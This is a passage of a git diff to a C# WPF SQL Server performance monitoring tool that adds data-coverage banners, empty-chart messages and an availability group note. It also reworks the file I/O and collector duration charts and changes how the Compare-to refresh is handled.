@@ -400,12 +402,33 @@ private void AskAi_Click(object sender, RoutedEventArgs e)
         }
     }
 
+    /// <summary>#5558: the shared note when this node holds a secondary copy of any database in an availability group
+    /// (the findings for those databases are the primary's), else null. A failed read shows no note.</summary>
+    private async Task<string?> ReadReplicaNoteAsync(int serverId)
+    {
+        if (_duckDb is null) return null;
+        try
+        {
+            return await Task.Run(() => PerformanceMonitorLite.Analysis.SecondaryReplicaScope.NoteAsync(_duckDb, serverId));
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Debug("Recommendations", $"Availability group note read failed, showing none: {ex.Message}");
+            return null;
+        }
+    }
+
     /// <summary>
     /// Swaps the visible region to match the view-model's state and binds the sections. Mirrors the
     /// Dashboard control's ApplyViewModel.
     /// </summary>
     private void ApplyViewModel(LiteRecommendationsViewModel vm)
     {
+        /* #5558: the availability group note rides with the list or the all-clear, never with a state that replaces them. */
+        var replicaNote = vm.State is LiteRecommendationsState.Loaded or LiteRecommendationsState.Empty ? vm.ReplicaNote : null;
+        ReplicaNoteText.Text = replicaNote ?? string.Empty;
+        ReplicaNoteText.Visibility = replicaNote is null ? Visibility.Collapsed : Visibility.Visible;
+
         switch (vm.State)
         {
             case LiteRecommendationsState.Loading:
diff --git a/Lite/Controls/ServerTab.BlockingChartsDataStart.cs b/Lite/Controls/ServerTab.BlockingChartsDataStart.cs
new file mode 100644
index 0000000000..c894557a0c
--- /dev/null
+++ b/Lite/Controls/ServerTab.BlockingChartsDataStart.cs
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using System.Windows.Controls;
+using PerformanceMonitorLite.Helpers;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Services;
+
+namespace PerformanceMonitorLite.Controls;
+
+/// <summary>
+/// #4966: the "Showing since" note on the Blocking tab's charts that draw a zero baseline or zero ends: the Trends
+/// sub-tab's three charts and the Blocking Stats sub-tab's two chart pairs. Each chart names its own source's start (the
+/// Lock Wait Trend reads wait_stats, the Blocking Trend and the blocking pair the blocked process reports with the DMV
+/// blocking snapshots, the Deadlock Trend and the deadlock pair deadlocks), through the shared step
+/// (<c>RefreshWindowTruncatedBannerAsync</c>), so the probe, the 90-minute rule, the picker zone and the failed-probe rule
+/// are the ones every other note uses. The Blocking and Deadlock series name the EARLIER of the coverage start and the
+/// earliest point drawn (<see cref="ServerTab.EarlierOfFloorAndRowShown"/>); the Lock Wait Trend is a rate series, so it
+/// names its coverage alone. The same Darling viewer wording and placement as #5030.
+/// </summary>
+public partial class ServerTab
+{
+    /// <summary>The time of the earliest bucket a count chart draws as an event: only buckets with a non-zero count (a zero bucket is the chart's baseline). Null when it draws none.</summary>
+    internal static DateTime? EarliestBlockingTrendPointDrawn(IEnumerable<TrendPoint> data) =>
+        data.Where(p => p.Count > 0).Select(p => (DateTime?)p.Time).Min();
+
+    /// <summary>The earliest per-minute blocking-severity bucket that holds an event. Null when none does.</summary>
+    internal static DateTime? EarliestBlockingStatsPointDrawn(IEnumerable<BlockingDurationStatsPoint> data) =>
+        data.Where(p => p.EventCount > 0).Select(p => (DateTime?)p.Time).Min();
+
+    /// <summary>The earliest deadlock-severity bucket. Null when there is none.</summary>
+    internal static DateTime? EarliestDeadlockStatsPointDrawn(IEnumerable<PerformanceMonitor.Common.DeadlockSeverityStatsPoint> data) =>
+        data.Select(p => (DateTime?)p.Time).Min();
+
+    /// <summary>
+    /// #5098: whether the Blocking Trend / Blocking Stats read drew the XE blocked process reports (it falls back to the DMV snapshots
+    /// only when the window holds none). The note then probes the XE collector alone: a DMV that covers the whole window must not hide
+    /// where the XE data starts. A window that can never get a note starts no check, and a check that throws keeps today's probe.
+    /// </summary>
+    private async System.Threading.Tasks.Task<bool> BlockingReadTookXeAsync(DateTime start, DateTime end, IReadOnlyList<string>? databaseNames)
+    {
+        if (!McpQueryTools.CanWindowBeTruncated(start, end))
+        {
+            return false;
+        }
+
+        try
+        {
+            return await Task.Run(() => _dataService.HasBlockedProcessReportsInWindowAsync(_serverId, start, end, databaseNames));
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("BlockingCharts", $"[{_server.DisplayName}] the blocked-process-report source check failed, so the note probes both sources: {ex.Message}");
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// #5098: the blocking chart's note. The DMV branch is the shared step, unchanged. The XE branch names the combined start
+    /// (<see cref="LocalDataService.GetBlockingXeDataStartAsync"/>: the collector's floor, the earliest report and the blocked process
+    /// threshold's history) through the same guarded probe, so a failed probe costs only the note.
+    /// </summary>
+    private async System.Threading.Tasks.Task RefreshBlockingBannerAsync(
+        bool blockingFromXe, TextBlock banner, DateTime start, DateTime end, DateTime? earliestDrawn, IReadOnlyList<string>? databaseNames)
+    {
+        if (!blockingFromXe)
+        {
+            await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.BlockedProcessReports, banner, start, end, earliestDrawn);
+            return;
+        }
+
+        var floor = await ProbeWindowFloorOrNullAsync(
+            () => Task.Run(() => _dataService.GetBlockingXeDataStartAsync(_serverId, start, end, databaseNames)),
+            $"[{_server.DisplayName}] {QueryWindowRelation.BlockedProcessReports}", start, end);
+        ApplyWindowFloorToBanner(banner, EarlierOfFloorAndRowShown(floor, earliestDrawn), start, GetPickerZone());
+        FeedDataStart(LiteTimeRange.CollectorOfRelation(QueryWindowRelation.BlockedProcessReports), floor); /* #5562 R7 */
+    }
+
+    /// <summary>The Trends sub-tab's three notes, over the SAME UTC window the three reads took.</summary>
+    private async System.Threading.Tasks.Task RefreshBlockingTrendsBannersAsync(
+        List<LockWaitTrendPoint> lockWait, List<TrendPoint> blocking, List<TrendPoint> deadlocks,
+        int hoursBack, DateTime? fromDate, DateTime? toDate, IReadOnlyList<string>? databaseNames = null)
+    {
+        var (start, end) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        var blockingFromXe = await BlockingReadTookXeAsync(start, end, databaseNames);
+        await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.WaitStats, LockWaitTrendTruncationBanner, start, end);
+        await RefreshBlockingBannerAsync(blockingFromXe, BlockingTrendTruncationBanner, start, end, EarliestBlockingTrendPointDrawn(blocking), databaseNames);
+        await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.Deadlocks, DeadlockTrendTruncationBanner, start, end, EarliestBlockingTrendPointDrawn(deadlocks));
+    }
+
+    /// <summary>The Blocking Stats sub-tab's two notes (one per chart pair).</summary>
+    private async System.Threading.Tasks.Task RefreshBlockingStatsBannersAsync(
+        List<BlockingDurationStatsPoint> durationStats, List<PerformanceMonitor.Common.DeadlockSeverityStatsPoint> deadlockSeverity,
+        int hoursBack, DateTime? fromDate, DateTime? toDate, IReadOnlyList<string>? databaseNames = null)
+    {
+        var (start, end) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        var blockingFromXe = await BlockingReadTookXeAsync(start, end, databaseNames);
+        await RefreshBlockingBannerAsync(blockingFromXe, BlockingStatsBlockingTruncationBanner, start, end, EarliestBlockingStatsPointDrawn(durationStats), databaseNames);
+        await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.Deadlocks, BlockingStatsDeadlockTruncationBanner, start, end, EarliestDeadlockStatsPointDrawn(deadlockSeverity));
+    }
+}
diff --git a/Lite/Controls/ServerTab.BlockingStats.cs b/Lite/Controls/ServerTab.BlockingStats.cs
index 0b4b98016a..70405b0913 100644
--- a/Lite/Controls/ServerTab.BlockingStats.cs
+++ b/Lite/Controls/ServerTab.BlockingStats.cs
@@ -110,7 +110,7 @@ private void UpdateBlockingDurationChart(List<BlockingDurationStatsPoint> data,
         BlockingDurationChart.Plot.Axes.DateTimeTicksBottomUtc(GetPickerZone);
         BlockingDurationChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingDurationChart);
-        BlockingDurationChart.Plot.YLabel("Block Duration (ms)");
+        BlockingDurationChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Block Duration (ms)", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingDurationChart, 0, globalMax > 0 ? globalMax : 1);
         ShowChartLegend(BlockingDurationChart);
         BlockingDurationChart.Refresh();
@@ -163,7 +163,7 @@ private void UpdateBlockingTotalDurationChart(List<BlockingDurationStatsPoint> d
         BlockingTotalDurationChart.Plot.Axes.DateTimeTicksBottomUtc(GetPickerZone);
         BlockingTotalDurationChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingTotalDurationChart);
-        BlockingTotalDurationChart.Plot.YLabel("Total Block Duration (ms)");
+        BlockingTotalDurationChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Total Block Duration (ms)", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingTotalDurationChart, 0, globalMax > 0 ? globalMax : 1);
         ShowChartLegend(BlockingTotalDurationChart);
         BlockingTotalDurationChart.Refresh();
diff --git a/Lite/Controls/ServerTab.Charts.cs b/Lite/Controls/ServerTab.Charts.cs
index d4f6f5dae3..47ee4799fb 100644
--- a/Lite/Controls/ServerTab.Charts.cs
+++ b/Lite/Controls/ServerTab.Charts.cs
@@ -37,6 +37,9 @@ one panel never names a figure one way and shows its neighbor the other. */
         PhysicalMemoryLabel.Text = ServerHardwareScope.MemoryTabTotalLabel(_engineEdition);
         AvailablePhysicalMemoryLabel.Text = ServerHardwareScope.MemoryTabAvailableLabel(_engineEdition);
 
+        /* #4966: the strip draws the newest snapshot of the whole store, so it says when that snapshot was collected. */
+        MemoryCollectedText.Text = SnapshotCollectedText(stats?.CollectionTime, GetPickerZone(), "--");
+
         if (stats == null)
         {
             PhysicalMemoryText.Text = "--";
@@ -69,6 +72,14 @@ private static string FormatMb(double mb)
         return mb >= 1024 ? $"{mb / 1024:F1} GB" : $"{mb:F0} MB";
     }
 
+    /// <summary>
+    /// #4966: the figure at the end of a summary strip that draws the newest snapshot: when that snapshot was collected, in the
+    /// tab's display zone <paramref name="zone"/>, to the second (the way the Automatic Tuning grid words its Collected column).
+    /// <paramref name="emptyText"/> (the strip's own no-value marker) when there is no snapshot, so an empty strip shows no time.
+    /// </summary>
+    internal static string SnapshotCollectedText(DateTime? collectionTimeUtc, TimeZoneInfo zone, string emptyText) =>
+        collectionTimeUtc.HasValue ? DisplayZone.Format(collectionTimeUtc.Value, zone, "yyyy-MM-dd HH:mm:ss") : emptyText;
+
     /// <summary>
     /// A Memory Overview page-file figure. On an Azure SQL Database the memory collector has no page-file source and
     /// stores 0 in both page-file columns, which is an unknown and not a size, so the figure reads n/a there. Anywhere
@@ -257,6 +268,9 @@ private void UpdateMemoryGrantCharts(List<MemoryGrantChartPoint> data, int hours
         double xMin = rangeStart.ToOADate();
         double xMax = rangeEnd.ToOADate();
 
+        EmptyState.Show(MemoryGrantSizingChart, data.Count == 0, "No memory grants in the selected time window.");
+        EmptyState.Show(MemoryGrantActivityChart, data.Count == 0, "No memory grants in the selected time window.");
+
         if (data.Count == 0)
         {
             foreach (var c in new[] { MemoryGrantSizingChart, MemoryGrantActivityChart })
@@ -457,7 +471,7 @@ private void UpdateMemoryPressureEventsChart(List<MemoryPressureEventRow> data,
         }
 
         MemoryPressureEventsChart.Refresh();
-        ShowEngineGap(MemoryPressureEventsNoDataMessage, "memory_pressure_events", pressureRows.Count);
+        ShowEngineGap(MemoryPressureEventsNoDataMessage, "memory_pressure_events", pressureRows.Count, keepsOwnEmptyText: true);
     }
 
     private void UpdateTempDbChart(List<TempDbRow> data, int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -633,53 +647,46 @@ private void UpdateFileIoCharts(List<FileIoTrendPoint> data, int hoursBack, Date
             return;
         }
 
-        /* Group by file, limit to top 10 by total stall */
-        var databases = data
-            .GroupBy(d => $"{d.DatabaseName}.{d.FileName}")
-            .OrderByDescending(g => g.Sum(d => d.AvgReadLatencyMs + d.AvgWriteLatencyMs))
-            .Take(10)
-            .ToList();
+        /* Release walk V9 (chart side): the read gives up to twenty files, the ten busiest by reads and the
+           ten busiest by writes, and each chart takes its own ten as the read ranked them (FileIoChartFiles). Ranking
+           the combined list by summed latency kept ten log files and no data file on the read chart. A file drawn on
+           both charts keeps one color. */
+        var readFiles = FileIoChartFiles.ReadChartFiles(data, d => $"{d.DatabaseName}.{d.FileName}", d => d.InReadTen);
+        var writeFiles = FileIoChartFiles.WriteChartFiles(data, d => $"{d.DatabaseName}.{d.FileName}", d => d.InWriteTen);
 
         double readMax = 0, writeMax = 0;
-        int colorIdx = 0;
+        var fileColors = new Dictionary<string, ScottPlot.Color>();
+        ScottPlot.Color ColorOf(string key)
+        {
+            if (!fileColors.TryGetValue(key, out var c))
+            {
+                c = ScottPlot.Color.FromHex(SeriesColors[fileColors.Count % SeriesColors.Length]);
+                fileColors[key] = c;
+            }
+
+            return c;
+        }
 
         bool hasQueuedData = data.Any(d => d.AvgQueuedReadLatencyMs > 0 || d.AvgQueuedWriteLatencyMs > 0);
 
-        foreach (var dbGroup in databases)
+        foreach (var dbGroup in readFiles)
         {
             var points = dbGroup.OrderBy(d => d.CollectionTime).ToList();
             var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
             var readLatency = points.Select(d => d.AvgReadLatencyMs).ToArray();
-            var writeLatency = points.Select(d => d.AvgWriteLatencyMs).ToArray();
-            var color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
-            colorIdx++;
+            var color = ColorOf(dbGroup.Key);
 
-            if (readLatency.Length > 0)
-            {
-                var readPlot = FileIoReadChart.Plot.Add.TimeSeries(times, readLatency);
-                readPlot.LegendText = dbGroup.Key;
-                readPlot.Color = color;
-                ChartStyle.StyleScatter(readPlot);
-                _fileIoReadHover?.Add(readPlot, dbGroup.Key);
-                readMax = Math.Max(readMax, readLatency.Max());
-            }
+            var readPlot = FileIoReadChart.Plot.Add.TimeSeries(times, readLatency);
+            readPlot.LegendText = dbGroup.Key;
+            readPlot.Color = color;
+            ChartStyle.StyleScatter(readPlot);
+            _fileIoReadHover?.Add(readPlot, dbGroup.Key);
+            readMax = Math.Max(readMax, readLatency.Max());
 
-            if (writeLatency.Length > 0)
-            {
-                var writePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, writeLatency);
-                writePlot.LegendText = dbGroup.Key;
-                writePlot.Color = color;
-                ChartStyle.StyleScatter(writePlot);
-                _fileIoWriteHover?.Add(writePlot, dbGroup.Key);
-                writeMax = Math.Max(writeMax, writeLatency.Max());
-            }
-
-            /* Queued I/O overlay — dashed lines showing queue wait portion of latency */
+            /* Queued I/O overlay: dashed lines showing the queue wait portion of latency */
             if (hasQueuedData)
             {
                 var queuedReadLatency = points.Select(d => d.AvgQueuedReadLatencyMs).ToArray();
-                var queuedWriteLatency = points.Select(d => d.AvgQueuedWriteLatencyMs).ToArray();
-
                 if (queuedReadLatency.Any(v => v > 0))
                 {
                     var qReadPlot = FileIoReadChart.Plot.Add.TimeSeries(times, queuedReadLatency);
@@ -689,7 +696,26 @@ private void UpdateFileIoCharts(List<FileIoTrendPoint> data, int hoursBack, Date
                     qReadPlot.LinePattern = ScottPlot.LinePattern.Dashed;
                     _fileIoReadHover?.Add(qReadPlot, $"{dbGroup.Key} (queued)");
                 }
+            }
+        }
 
+        foreach (var dbGroup in writeFiles)
+        {
+            var points = dbGroup.OrderBy(d => d.CollectionTime).ToList();
+            var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
+            var writeLatency = points.Select(d => d.AvgWriteLatencyMs).ToArray();
+            var color = ColorOf(dbGroup.Key);
+
+            var writePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, writeLatency);
+            writePlot.LegendText = dbGroup.Key;
+            writePlot.Color = color;
+            ChartStyle.StyleScatter(writePlot);
+            _fileIoWriteHover?.Add(writePlot, dbGroup.Key);
+            writeMax = Math.Max(writeMax, writeLatency.Max());
+
+            if (hasQueuedData)
+            {
+                var queuedWriteLatency = points.Select(d => d.AvgQueuedWriteLatencyMs).ToArray();
                 if (queuedWriteLatency.Any(v => v > 0))
                 {
                     var qWritePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, queuedWriteLatency);
@@ -883,6 +909,7 @@ private void UpdateBlockingTrendChart(List<TrendPoint> data, int hoursBack, Date
         }
 
         _blockingTrendHover?.Clear();
+        EmptyState.Show(BlockingTrendChart, data.Count == 0, "No blocking in the selected time window.", clearOfBaseline: true);
         if (data.Count == 0)
         {
             /* No blocking events — show a flat line at zero so the chart looks active */
@@ -937,7 +964,7 @@ private void UpdateBlockingTrendChart(List<TrendPoint> data, int hoursBack, Date
         BlockingTrendChart.Plot.Axes.DateTimeTicksBottomUtc(GetPickerZone);
         BlockingTrendChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingTrendChart);
-        BlockingTrendChart.Plot.YLabel("Blocking Incidents");
+        BlockingTrendChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Blocking Incidents", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingTrendChart, 0, data.Max(d => d.Count));
         ShowChartLegend(BlockingTrendChart);
         BlockingTrendChart.Refresh();
@@ -961,6 +988,7 @@ private void UpdateDeadlockTrendChart(List<TrendPoint> data, int hoursBack, Date
         }
 
         _deadlockTrendHover?.Clear();
+        EmptyState.Show(DeadlockTrendChart, data.Count == 0, "No deadlocks in the selected time window.", clearOfBaseline: true);
         if (data.Count == 0)
         {
             /* No deadlocks — show a flat line at zero so the chart looks active */
@@ -1484,6 +1512,9 @@ private async void HeatmapMetric_SelectionChanged(object sender, System.Windows.
             var metric = (HeatmapMetric)HeatmapMetricCombo.SelectedIndex;
             var result = await System.Threading.Tasks.Task.Run(() => _dataService.GetQueryHeatmapAsync(_serverId, metric, hoursBack, fromDate, toDate, SelectedDatabaseFilter));
             UpdateQueryHeatmapChart(result);
+            /* #4966: the metric re-reads over the tab's current window, so the banner is asked over it too, and is handed the
+               result just drawn: the notice names that chart's first column. */
+            await RefreshQueryHeatmapBannerAsync(result, hoursBack, fromDate, toDate);
         }
         catch (Exception ex)
         {
@@ -1572,9 +1603,90 @@ is this tab. */
 
     /* ========== Collection Health ========== */
 
-    private void UpdateCollectorDurationChart(List<CollectionLogRow> data, int hoursBack, DateTime? fromDate, DateTime? toDate)
+    /// <summary>
+    /// One collector's line on the Duration Trends chart (#4989): the X of each point (a UTC instant as an OADate, the
+    /// bucket's start), the Y it draws (the bucket's slowest run, in ms) and the hover line that says what stands behind
+    /// the point (<see cref="CollectorDurationDetail"/>), all in the same order.
+    /// </summary>
+    internal sealed record CollectorDurationSeries(string Collector, double[] Xs, double[] MaxMs, string[] Details)
+    {
+        /// <summary>
+        /// The hover lines keyed by the X each point is drawn at: the very <see cref="Xs"/> the scatter is built from, so the
+        /// hover's lookup by the nearest point's X is exact. Keyed by X and not by position because the line breaks at every
+        /// collection gap by inserting a point of its own, which shifts every position after the first break; that point
+        /// has no key and so no line.
+        /// </summary>
+        internal IReadOnlyDictionary<double, string> DetailsByX()
+        {
+            var byX = new Dictionary<double, string>(Xs.Length);
+            for (var i = 0; i < Xs.Length && i < Details.Length; i++)
+            {
+                byX[Xs[i]] = Details[i];
+            }
+
+            return byX;
+        }
+    }
+
+    /// <summary>
+    /// The hover line of one Duration Trends point (#4989): the point draws its bucket's slowest run, so the line says how
+    /// many runs it is the slowest of and what the average run took. The words are the shared
+    /// <see cref="CollectorDurationHoverText"/>'s, which the Darling viewer's chart uses too.
+    /// </summary>
+    internal static string CollectorDurationDetail(CollectorDurationBucket bucket) =>
+        CollectorDurationHoverText.Detail(bucket.RunCount, bucket.AverageDurationMs);
+
+    /// <summary>
+    /// What the Duration Trends chart draws from its own read (<see cref="LocalDataService.GetCollectorDurationTrendAsync"/>,
+    /// #4989): one series per collector, in collector order, each point a bucket at its start and the bucket's slowest
+    /// run as its height. A collector with fewer than two buckets draws no line, as before. <c>internal static</c> so the
+    /// tests see exactly what is drawn without building the UserControl.
+    /// </summary>
+    internal static List<CollectorDurationSeries> BuildCollectorDurationSeries(IEnumerable<CollectorDurationBucket> buckets) =>
+        buckets
+            .GroupBy(b => b.CollectorName)
+            .OrderBy(g => g.Key)
+            .Select(g => g.OrderBy(b => b.BucketStart).ToList())
+            .Where(points => points.Count >= 2)
+            .Select(points => new CollectorDurationSeries(
+                points[0].CollectorName,
+                points.Select(b => b.BucketStart.ToOADate()).ToArray(),
+                points.Select(b => b.MaxDurationMs).ToArray(),
+                points.Select(CollectorDurationDetail).ToArray()))
+            .ToList();
+
+    /// <summary>
+    /// Draws the series on <paramref name="chart"/> (the lines only: the axes, the legend and the refresh stay with the
+    /// caller) and registers each with <paramref name="hover"/> when there is one, with its per-point detail lines.
+    /// <c>internal static</c> so the tests drive it on a real chart.
+    /// </summary>
+    internal static void PlotCollectorDurationSeries(ScottPlot.WPF.WpfPlot chart, ChartHoverHelper? hover, IReadOnlyList<CollectorDurationSeries> series)
+    {
+        int colorIdx = 0;
+        foreach (var line in series)
+        {
+            var scatter = chart.Plot.Add.TimeSeries(line.Xs, line.MaxMs);
+            scatter.LegendText = line.Collector;
+            scatter.Color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
+            scatter.LineWidth = 2;
+            scatter.MarkerSize = 0;
+            hover?.Add(scatter, line.Collector, line.DetailsByX());
+            colorIdx++;
+        }
+    }
+
+    /// <summary>
+    /// The Duration Trends chart (#4989): each collector's slowest run per time bucket over the WHOLE asked range, read
+    /// beside the Collection Log grid (<see cref="LocalDataService.GetCollectorDurationTrendAsync"/>), not the grid's page of
+    /// the newest <see cref="LocalDataService.CollectionLogGridCap"/> runs it used to be handed. The X axis is pinned to the
+    /// asked range, so a range the store does not cover from its start still draws the empty span it is.
+    /// </summary>
+    private void UpdateCollectorDurationChart(List<CollectorDurationBucket> data, int hoursBack, DateTime? fromDate, DateTime? toDate)
     {
         ClearChart(CollectorDurationChart);
+        /* Every render starts the hover empty, the empty range's early return below included: it holds the last render's
+           series, and a tooltip over a chart with nothing on it would still name them. */
+        _collectorDurationHover?.Clear();
         ApplyTheme(CollectorDurationChart);
 
         /* Pin the X axis to the settable window (the same idiom as the CPU / tempdb-size charts) rather than
@@ -1593,35 +1705,14 @@ which reads as symmetric dead space. This is the one chart the window-pin campai
             return;
         }
 
-        /* Group by collector, plot each as a separate series */
-        var groups = data
-            .Where(d => d.DurationMs.HasValue && d.Status == "SUCCESS")
-            .GroupBy(d => d.CollectorName)
-            .OrderBy(g => g.Key)
-            .ToList();
-
-        _collectorDurationHover?.Clear();
-        int colorIdx = 0;
-        foreach (var group in groups)
-        {
-            var points = group.OrderBy(d => d.CollectionTime).ToList();
-            if (points.Count < 2) continue;
-
-            var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
-            var durations = points.Select(d => (double)d.DurationMs!.Value).ToArray();
-
-            var scatter = CollectorDurationChart.Plot.Add.TimeSeries(times, durations);
-            scatter.LegendText = group.Key;
-            scatter.Color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
-            scatter.LineWidth = 2;
-            scatter.MarkerSize = 0;
-            _collectorDurationHover?.Add(scatter, group.Key);
-            colorIdx++;
-        }
+        /* One series per collector, each point a bucket's slowest successful run (the read keeps only the runs the chart
+           has always drawn: SUCCESS with a duration). */
+        PlotCollectorDurationSeries(CollectorDurationChart, _collectorDurationHover, BuildCollectorDurationSeries(data));
 
         CollectorDurationChart.Plot.Axes.DateTimeTicksBottomUtc(GetPickerZone);
         ReapplyAxisColors(CollectorDurationChart);
-        CollectorDurationChart.Plot.YLabel("Duration (ms)");
+        /* Each point is a bucket's slowest run, and the label says so (the Darling viewer's chart uses the same words). */
+        CollectorDurationChart.Plot.YLabel("Slowest run per bucket (ms)");
         CollectorDurationChart.Plot.Axes.AutoScaleY();
         CollectorDurationChart.Plot.Axes.SetLimitsX(xMin, xMax);
         ShowChartLegend(CollectorDurationChart);
diff --git a/Lite/Controls/ServerTab.Comparison.cs b/Lite/Controls/ServerTab.Comparison.cs
index 156af081f8..d57aea17e7 100644
--- a/Lite/Controls/ServerTab.Comparison.cs
+++ b/Lite/Controls/ServerTab.Comparison.cs
@@ -20,29 +20,17 @@ public partial class ServerTab : UserControl
 {
     private async void CompareToCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
-        if (!IsLoaded || _isRefreshing) return;
-
-        var (hoursBack, fromDate, toDate) = GetCurrentWindowUtc();
-
-        await RefreshOverviewAsync(hoursBack, fromDate, toDate);
-
-        // Also refresh comparison grids
-        try
-        {
-            /* #4284: GetQueryStatsComparisonAsync/GetProcedureStatsComparisonAsync/GetQueryStoreComparisonAsync
-               compare currentStart/currentEnd straight against UTC collection_time, with no offset conversion
-               of their own -- the SAME UTC window the Top Queries/Top Procedures/Query Store grid reads get via
-               LocalDataService.GetQueriesTabWindowUtc, computed once here and handed to all three so the
-               current window matches the grid on any server not on UTC. */
-            var (currentStart, currentEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
-            await RefreshQueryStatsComparisonAsync(currentStart, currentEnd);
-            await RefreshProcStatsComparisonAsync(currentStart, currentEnd);
-            await RefreshQueryStoreComparisonAsync(currentStart, currentEnd);
-        }
-        catch (Exception ex)
-        {
-            AppLogger.Info("ServerTab", $"[{_server.DisplayName}] Comparison refresh failed: {ex.Message}");
-        }
+        /* #5371: a Compare-to change made while a refresh pass is running used to be dropped here (`_isRefreshing`), so the
+           combo showed the new baseline while the grids kept the old one. It goes through the coordinator like the tab
+           switch and the range change: remembered when a pass is running (latest wins) and replayed when it ends, the
+           replay reading the combo's selection at its own start. The overview and the visible Top Queries / Top Procedures /
+           Query Store grid read the combo in that pass (#4284's UTC window per grid, #2933's per-grid generations in
+           _loads), and a grid that is not showing reads it when its sub-tab is switched to. A change the program
+           makes (UpdateCompareDropdownState resetting the combo on a tab with no comparison) sets
+           _suppressRangeRefresh and starts nothing: the tab switch that caused it is already loading. */
+        if (!IsLoaded || _suppressRangeRefresh) return;
+
+        await RefreshVisibleTabOnlyAsync();
     }
 
     /// <summary>
@@ -79,7 +67,7 @@ internal static (DateTime From, DateTime To)? ShiftComparisonRange(int selectedI
     private (DateTime From, DateTime To)? GetComparisonRange(DateTime currentStartUtc, DateTime currentEndUtc)
         => CompareToCombo == null ? null : ShiftComparisonRange(CompareToCombo.SelectedIndex, currentStartUtc, currentEndUtc);
 
-    /* #2933: CompareToCombo_SelectionChanged sets no in-flight flag, so two Compare changes overlap and
+    /* #2933: CompareToCombo_SelectionChanged used to set no in-flight flag, so two Compare changes overlap and
        the LATER-STARTING read can land first, leaving the grid showing the baseline the operator moved
        off. The grids are on screen while that happens, so no visibility change comes along to repaint
        them. A scope re-verify cannot separate Yesterday -> Last week -> Yesterday: the third read's
@@ -87,11 +75,11 @@ internal static (DateTime From, DateTime To)? ShiftComparisonRange(int selectedI
        grid gets its own generation instead, which compares identity rather than range.
 
        Only the comparison loaders take this. ServerTab's main-tab Refresh*Async loaders are deliberately
-       NOT here: their races all route through the bail-only _isRefreshing, where the user-visible half is
-       the DROPPED trigger (a time-range change mid-pass leaves the charts on the old window while the
-       combo shows the new one), and a generation cannot fix a load that never started. That wants the
-       viewer's coalescing replay, which needs _isRefreshing split from the event-suppression duty it also
-       serves in TimeDisplayMode_SelectionChanged, ServerTab.DrillDown.cs and ServerTab.Grids.cs. */
+       NOT here: their races used to route through the bail-only _isRefreshing, where the user-visible half
+       was the DROPPED trigger (a time-range change mid-pass left the charts on the old window while the
+       combo showed the new one), and a generation cannot fix a load that never started. #5371 gave them
+       the viewer's coalescing replay instead (RefreshCoordinator, ServerTab.Refresh.cs), with the
+       event-suppression duty split off into _suppressRangeRefresh. */
     private readonly PerformanceMonitor.Ui.ScopedLoadGenerations _loads = new();
 
     /* #4284: tests the combo directly rather than through GetComparisonRange, which now needs the caller's
@@ -143,6 +131,8 @@ private async System.Threading.Tasks.Task RefreshQueryStatsComparisonAsync(DateT
             .ThenByDescending(x => x.SortableDurationDelta)
             .ToList();
 
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        QueryStatsComparisonBanner.Text = ComparisonBaselineNote.Banner(QueryStatsComparisonBanner.Text, items);
         QueryStatsComparisonGrid.ItemsSource = sorted;
     }
 
@@ -180,6 +170,8 @@ private async System.Threading.Tasks.Task RefreshProcStatsComparisonAsync(DateTi
             .ThenByDescending(x => x.SortableDurationDelta)
             .ToList();
 
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        ProcStatsComparisonBanner.Text = ComparisonBaselineNote.Banner(ProcStatsComparisonBanner.Text, items);
         ProcStatsComparisonGrid.ItemsSource = sorted;
     }
 
@@ -217,9 +209,18 @@ private async System.Threading.Tasks.Task RefreshQueryStoreComparisonAsync(DateT
             .ThenByDescending(x => x.SortableDurationDelta)
             .ToList();
 
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        QueryStoreComparisonBanner.Text = ComparisonBaselineNote.Banner(QueryStoreComparisonBanner.Text, items);
         QueryStoreComparisonGrid.ItemsSource = sorted;
     }
 
+    /// <summary>
+    /// What the disabled Compare box says when the pointer rests on it (walk finding V10b: it was greyed with a tooltip that WPF never
